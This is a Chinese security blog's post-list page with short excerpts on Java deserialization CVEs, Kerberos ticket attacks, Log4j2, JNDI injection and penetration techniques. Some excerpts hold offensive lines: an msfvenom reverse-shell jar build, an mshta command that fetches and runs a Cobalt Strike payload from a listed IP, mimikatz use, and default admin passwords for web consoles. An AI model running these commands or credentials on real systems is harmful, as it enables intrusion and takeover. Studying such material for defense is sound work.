自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(94)
  • 收藏
  • 关注

原创 黄金票据和白银票据

Golden Ticket当攻击者已经拿到域控的管理权限klist 域成员主机上执行klist,即可查看缓存的票据klist purge 清除票据在域渗透过程如果发现域管理员的密码已经修改,可尝试利用krbtgt用户的历史hash来进行票据传递攻击,krbtgt用户的密码一般不会有人去修改信息搜集域名 net time /domain ipconfig /all 伪造管理员用户名 net group "domain admins"krbtgt账号的哈希值 mimikatz.exe

2020-06-07 17:46:43 2677

原创 某网站测试

qweqweqwqweqweqweqwe

2020-06-04 17:14:41 803 1

原创 kerberos协议浅谈

##kerberos协议:基于第三方可信主机的计算机网络协议想要搞懂kerberos协议首先需要知道一下术语:KeyDistribution Center KDC 秘钥分发中心 有AS,TGSAS:Authentication Service 对客户端的认证 证明客户端A是A 并没有规定权限问题TGT(Ticket Granting Ticket):由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时TGS(Ticket Granting Server):票据授

2020-05-25 17:26:16 517

原创 Weblogic权限绕过之CVE-2020-14882利用和源码分析

前言:环境:利用:代码分析:鉴权代码分析:CVE-2020-14882是权限绕过漏洞,所以我们直接切入主题,找到鉴权的代码,在idea中双击shift,查找doSecuredExecute方法。此方法存在于\middleware\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.classWebAppServletContext类,可以看到中间有个se

2022-03-25 16:01:51 6511 9

原创 weblogic反序列化之CVE-2020-2555漏洞分析

前言CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic服务器反序列化恶意代码最后执行攻击语句。Oracle Coherence组件默认集成在Weblogic12c及以上版本中。...

2022-03-18 17:14:21 4631 2

原创 weblogicT3反序列化之CVE-2017-3248&CVE-2018-2628&CVE-2018-3245

前言上上篇文章我们分析了CVE-2015-4852、CVE-2016-0638、CVE-2016-3510的漏洞,因果是从resolveClass方法中出现的,resolveClass方法直接继承了父类的方法,然后没有任何过滤的造成了序列化漏洞,后面两个cve都是前者的绕过。今天分析一下CVE-2017-3248 & CVE-2018-2628,上上文中我们知道readClassDesc类描述方法可分为没有代理的类和代理类,CVE-2017-3248漏洞的成因就是代理类resolveProxyCl

2022-03-13 15:43:06 5745

原创 ysoserial之JRMP源码分析(payloads.JRMPClient/exploit.JRMPListener)

前言本来是想复现weblogicCVE-2017-3248漏洞的,这个漏洞使用了ysoserial的jrmp模块,开启rmi监听进行通信的,达到执行任意反序列化 payload。下文有些概念比较晦涩难懂,建议查阅其他资料配合使用。JRMP协议是什么JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议。一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用。JRMP是一个协议,是用于Java RMI

2022-03-11 15:09:36 1356

原创 Weblogic处理流量中的java反序列化数据的流程(CVE-2015-4852、CVE-2016-0638、CVE-2016-3510)

前言想要搞明白weblogicT3协议中的反序列化和后续的反序列化绕过,就得先需要了解weblogic如何处理T3协议中的反序列化数据,了解流程之后再去分析CVE-2015-4852、CVE-2016-0638、CVE-2016-3510这些漏洞,会事半功倍。weblogic处理反序列化的流程首先我们看一张流程图,这是weblogic处理反序列化数据的时候的函数调用图截图比较粗糙,其起始位置是我们熟悉的ObjectInputStream类中的readObject方法。下面是一层层调用的函数,在红色

2022-03-08 17:16:48 2096

原创 shiro反序列化之k1/2利用链

前言shiro的k1/k2链条其实之前我已经分析过了,但是呢,没以文章的形式发出来。可能有点懒惰了。上篇文章我们一起看了t3协议,t3反序列化的修复手段是在resolveClass方法添加检查,增加黑名单的形式。而shiro是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。下面我们分析。直接使用cc6cc6的利用链我们前面有,拿来直接用,默认key

2022-03-03 14:34:10 1934

原创 weblogic之T3反序列化

T3协议什么是T3协议?解释摘抄自此文Weblogic的RMI规范的实现使用一个专有协议T3。 您可以将T3(和安全T3S)视为坐在http之上的一个图层,以公开/允许客户端的JNDI调用。通常,T3协议用于与WebLogic控制台进行交互。T3是用于在WebLogic服务器和其他types的Java程序之间传输信息的协议。 WebLogic会跟踪连接到应用程序的每个Java虚拟机。 为了将stream量传送到Java虚拟机,WebLogic创build一个T3连接。 这种types的连接通过消除

2022-03-02 18:59:22 1982

原创 另类又不另类的shiro检测方式

前言一般我们检测shiro的方法是用URLDNS链条或者cc链条去盲打,这篇文章来记录一下如何有效的检测shiro(检测是否为shiro,检测shiro的key)。密钥key不正确的时候当key错误的时候,我们知道 AbstractRememberMeManager#decrypt 是处理解密的过程。protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cip

2022-02-18 11:15:12 1220

原创 tomcat Filter内存马

Tomcat Filter 流程分析首先创建一个javaWeb项目,再把tomcat/lib/catalina.jar和tomcat/lib/servlet-api.jar添加到项目中,创建一个demo文件。如果不会的化可以参考这篇文章demopackage filter;import javax.servlet.*;import java.io.IOException;public class filterDemo implements Filter { public void

2022-02-16 11:36:18 1399 1

原创 Java反序列化之Commons-Beanutils1链与无 commons-collections的Shiro反序列化利用

Apache Commons Beanutils首先看一下 Commons Beanutils包,Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。JavaBean可以简单的理解为一个Java类对象。commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,看面的de

2022-02-11 17:09:52 1456

原创 java反序列化之Groovy1链条分析

前言之前分析了cc链条,这次分析一下Groovy1链条简介Groovy 是 Apache 旗下的一门基于 JVM 平台的动态/敏捷编程语言,在语言的设计上它吸纳了 Python、Ruby 和 Smalltalk 语言的优秀特性,语法非常简练和优美,开发效率也非常高(编程语言的开发效率和性能是相互矛盾的,越高级的编程语言性能越差,因为意味着更多底层的封装,不过开发效率会更高,需结合使用场景做取舍)。并且,Groovy 可以与 Java 语言无缝对接,在写 Groovy 的时候如果忘记了语法可以直接按Ja

2022-01-26 15:41:15 798

原创 绕过高版本JDK限制的JNDI注入

前言JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.object.trustURLCodcbase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。JNDI_LDAP在Oracle JDK 6u211、7u201、8u191、11.0.1、之后 com.sun.jndi.ldap.obj

2022-01-21 16:31:50 1652

原创 java反序列化之Commons-Collections5、6、7链分析

cc5前言cc5利用两和cc1的后半段一样,就是实现ChainedTransformer类。在cc1中也分析过,只要LazyMap触发Map类就可以达到rec的目的。在cc5中用到的是TiedMapEntry中的toString方法。利用环境jdk 1.7Commons Collections 3.1pocpackage org.example.cc;import org.apache.commons.collections.Transformer;import org.apache.

2022-01-14 14:31:12 344

原创 java反序列化之Commons-Collections3,4链分析

利用环境jdk1.7Commons Collections 3.1利用链ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get(

2022-01-13 18:34:17 431

原创 java反序列化之Commons-Collections2链分析

环境JDK 1.7Commons Collections 4.0javassitmaven所需pom<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version></dependency><dep

2022-01-12 19:47:26 639

原创 cc1LazyMap链

前言上一篇文章我们看了Java动态代理的概念,而cc1中的LazyMap链就用到这个概念,现在来做个简单的剖析。简而言之就是当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口。LazyMap链首先我们先看一下代码:package org.example.cc;import org.apache.commons.collections.Transformer;import

2022-01-09 15:21:24 914

原创 java动态代理

前言为什么要学Java动态代理呢,原因是再看cc1链条的时候,ysoserial中使用的并不是TransformedMap而是LazyMap链条,ysoserial的作者使用了对象代理的方式,所以才去了解了一下Java的动态代理,首先要明白代理是什么,然后既然说到动态代理,那么就得先来了解一下静态代理做对比。下面会从代理模式,静态代理,动态代理这三块儿来了解代理模式代理模式是一种设计模式,提供了对目标对象额外的访问方式,即通过代理对象访问目标对象,这样可以在不修改原目标对象的前提下,提供额外的功能操作

2022-01-06 19:52:32 588 2

原创 Commons-Collections1链分析

条件限制:​JDK版本:jdk1.8以前(8u71之后已修复不可利用)CC版本:Commons-Collections 3.1-3.2.1环境搭建:<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId&g

2022-01-04 19:45:52 736

原创 FastJson<=1.2.24 JdbcRowSetImpl利用链分析

前言上文分析了TemplatesImpl利用链,对fastjson parseObject函数进行了分析,明白了整个触发漏洞的流程,接着来学习JdbcRowSetImpl 利用链,JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。这条链主要利用了setAutoCommit方法调用InitialContext.lookup并且参数是未经过滤dataSourceName,导致JNDI注入,造成命令执行。其中涉及了JDNI

2021-12-29 15:30:07 3332 1

原创 fastjson1.2.24TemplatesImpl利用链源码分析

构造恶意类package org.example.fastjson.TemplatesImpl;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class Test { public static void main(String[] args) { Parse

2021-12-28 16:08:09 711

原创 fastjson1.2.24代码分析

123fastjson反序列化成因fastjson 自动调用getter和setter类似Java的反序列化过程会自动调用readObject函数,fastjson还原对象时也会自动调用以下几个函数:无参数的构造函数符合条件的getter函数符合条件的setter函数这里需要区别的是fastjson所使用的parse函数和parseObject函数所调用的函数条件是不一样的代码浅析 //通过parseObject,不指定类,返回的是一个JSONObject

2021-12-27 14:40:58 469

原创 CVE-2021-42287(Windows域服务权限提升漏洞)

PACPAC(Privilege Attribute Certificate),特权属性证书 需要提供User的SID和所在组Group的SID只看上述的就简单解释并不能很清晰的了解,那么想要知道PAC这个概念,我们首先理一下kerberos的流程网上很多kerberos如下:1:用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgt hash加密的TGT票据2:用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ

2021-12-16 18:18:27 2457 1

原创 log4j2漏洞源码分析

前言:上篇分析了jndi+ldap的利用,这两天新爆出来的漏洞log4j2中,结合恶意payload可执行远程恶意代码影响范围:Apache Log4j 2.x < 2.15.0-rc2,而且利用难度低,利用要求少紧急缓解措施(最好升级最新版本):(1) 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true(2) 修改配置log4j2.formatMsgNoLookups=True(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISAB

2021-12-14 16:18:37 3555

原创 JNDI注入(RMI攻击实现和LDAP攻击实现)

0x01 JNDI概述JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)简单一点理解就是:JNDI的做法,就是定义一个数据源,与系统外部的资源的引用 都可以通过JNDI定义和引用JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Dir

2021-12-12 16:25:18 9398

原创 java反序列化之URLDNS链分析

readObject()方法Java反序列化会调用对应的readobject方法比如我创建一个类test。序列化test类就会调用writeobject方法,反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法在HashMap类中,恰恰存在readobject方法利用链:ysoserial项目的利用链 * Gadget Chain: * HashMap.readObject() * HashMap.putVal()

2021-11-23 11:04:59 559

原创 shiro550反序列化源代码分析

准备:需要maven,jdk1.8,IDEA,[shiro-1.2.4](https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4)进入samples\web目录,拖到idea里,加载pom文件的依赖踩坑:问题1:代码运行起来之后,一直包没有commons-collections4-4.0.jar这个依赖,导致不能反序列化刚开始配置的是公司的maven地址,后来换成阿里的解决了pom.xml依赖如下 <d

2021-11-18 23:05:23 851

原创 判断是否在docker环境

方式一:判断根目录下 .dockerenv 文件docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的root@4cb54de415d4:/# ls -alh /.dockerenv -rwxr-xr-x 1 root root 0 Sep 6 07:09 /.dockerenv方式二:查询系统进程的cgroup信息docker 环境下:cat /proc/1/cgrouproot@4cb54de415d4:/# cat /pr

2021-04-25 14:44:23 2655

原创 常见端口

21端口 1. 爆破(hydra、msf中的ftp爆破模块)2. ftp匿名访问:用户名:anonymous 密码:为空或者任意邮箱3. 后门vsftpd :version2到2.3.4存在后门漏洞,攻击者可以通过该漏洞获取root权限。 unix/ftp/vsftpd_234_backdoor (https://www.freebuf.com/column/143480.html)22端口1. 爆破(hydra、msf中的ssh爆破模块) 2. openssh 用户枚举 CVE-

2021-03-31 14:39:34 361

转载 网络七层(OSI model)、以及常见的telnet、Http、Socket分别属于第几层

网络七层(OSI model)、以及常见的telnet、Http、Socket分别属于第几层 Open System Interconnection model是一个对计算机连接交互的总结出来的一个标准模型。 它制定了不同系统之间的交互的标准协议。模型分为7层。 ...

2021-03-12 09:58:58 2634

原创 Apache Flink CVE-2020-17519

fofa搜索Apache Flinkapp="APACHE-Flink" &&country="IN"未授权任意上传jar包导致远程代码执行,找一个阿三的站试试1:上传生成好的jar包msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=4568 -f jar > main.jar上传jar包之后监听端口use exploit/multi/handlerset payload java/shell/reve

2021-02-04 14:50:46 254 2

原创 Lanproxy 任意文件读取漏洞 CVE-2021-3019复现

概述Lanproxy是⼀个将局域网个⼈电脑、服务器代理到公网的内网穿透⼯具,⽀持tcp流量转发,可⽀持任何tcp上层协议(访问内网网站、本地⽀付接⼝调试、ssh访问、远程桌⾯等等)本次Lanproxy 路径遍历漏洞 (CVE-2021-3019)通过../绕过读取任意⽂件。该漏洞允许⽬录遍历读取/../conf/config.properties来获取到内部网连接的凭据。影响版本:lanroxy 0.1在fofa上搜寻lanproxybody="LanProxy.org"刷新前台界面,

2021-02-04 11:34:02 476

原创 jsonp漏洞

jsonp原理ajax请求受同源策略影响,不允许进行跨域请求,而script标签src属性中的链接却可以访问跨域的js脚本,利用这个特性,服务端不再返回JSON格式的数据,而是返回一段调用某个函数的js代码,在src中进行了调用,这样实现了跨域。实现:1:构造jsonp.php文件下面使用JSONP,将前端代码中的ajax请求去掉,添加了一个script标签,标签的src指向了另一个域下的remote.js脚本<!DOCTYPE html><html><head&

2021-02-04 11:14:21 229

转载 宽字节注入

GBK注射 宽字节注入 ** 在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉,举个例子。 ** http://chin...

2021-02-03 12:59:42 158

原创 弱口令,永远的0day

一些自己搜集的弱口令弱口令可达到事半功倍的效果,你还在苦恼如何下手,我却悄悄进了后台tomcat重所周知,tomcat有项目部署管理界面, http://ip:8080/host-manager/html 用户名:admin 密码:admin用户名:tomcat 密码:tomcat用户名:tomcat 密码:s3cretApache axis2axis2同样和tomcat有web控制台用户名:admin 密码:axis2websphere这个很少见,不过还是被我见

2021-01-07 11:01:31 3484

转载 常见设备/CMS弱口口令

目录 tomcat Apache axis2 Apache ActiveMQ zabbix RabbitMQ zentao 华天动力OA系统 华三H3C设备 华为设备 深信服设备 Ixcache 网康互联网控制网关  佳能Canon打印机 迪普Dptech ACS6000-GC无线控制器 华为Espace 7901电话机 tomcat tom...

2020-12-22 16:06:53 1542

原创 csWindows上马

设置监听生成http application后门 选择powershell脚本然后把生成的evil.hta文件上传到cs服务器上这时已经挂在cs服务器/download目录下如果有命令执行漏洞,执行mshta+刚才生成的路径mshta http://192.168.17.181:80/download/file.ext然后就获得一个shell,只适用win......

2020-12-15 22:43:28 321

原创 frp代理工具

frps.ini的配置文件如下:[common]bind_port = 7000[common]部分是必须有的配置,其中bind_port是自己设定的frp服务端端口,用于和frp服务器端进行通信。frpc.ini配置文件如下:[common]server_addr = VPS IPserver_port = 7000[ssh]type = tcplocal_ip = 127.0.0.1local_port = 22remote_port = 6000[common]部分是

2020-12-05 17:11:12 2560 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除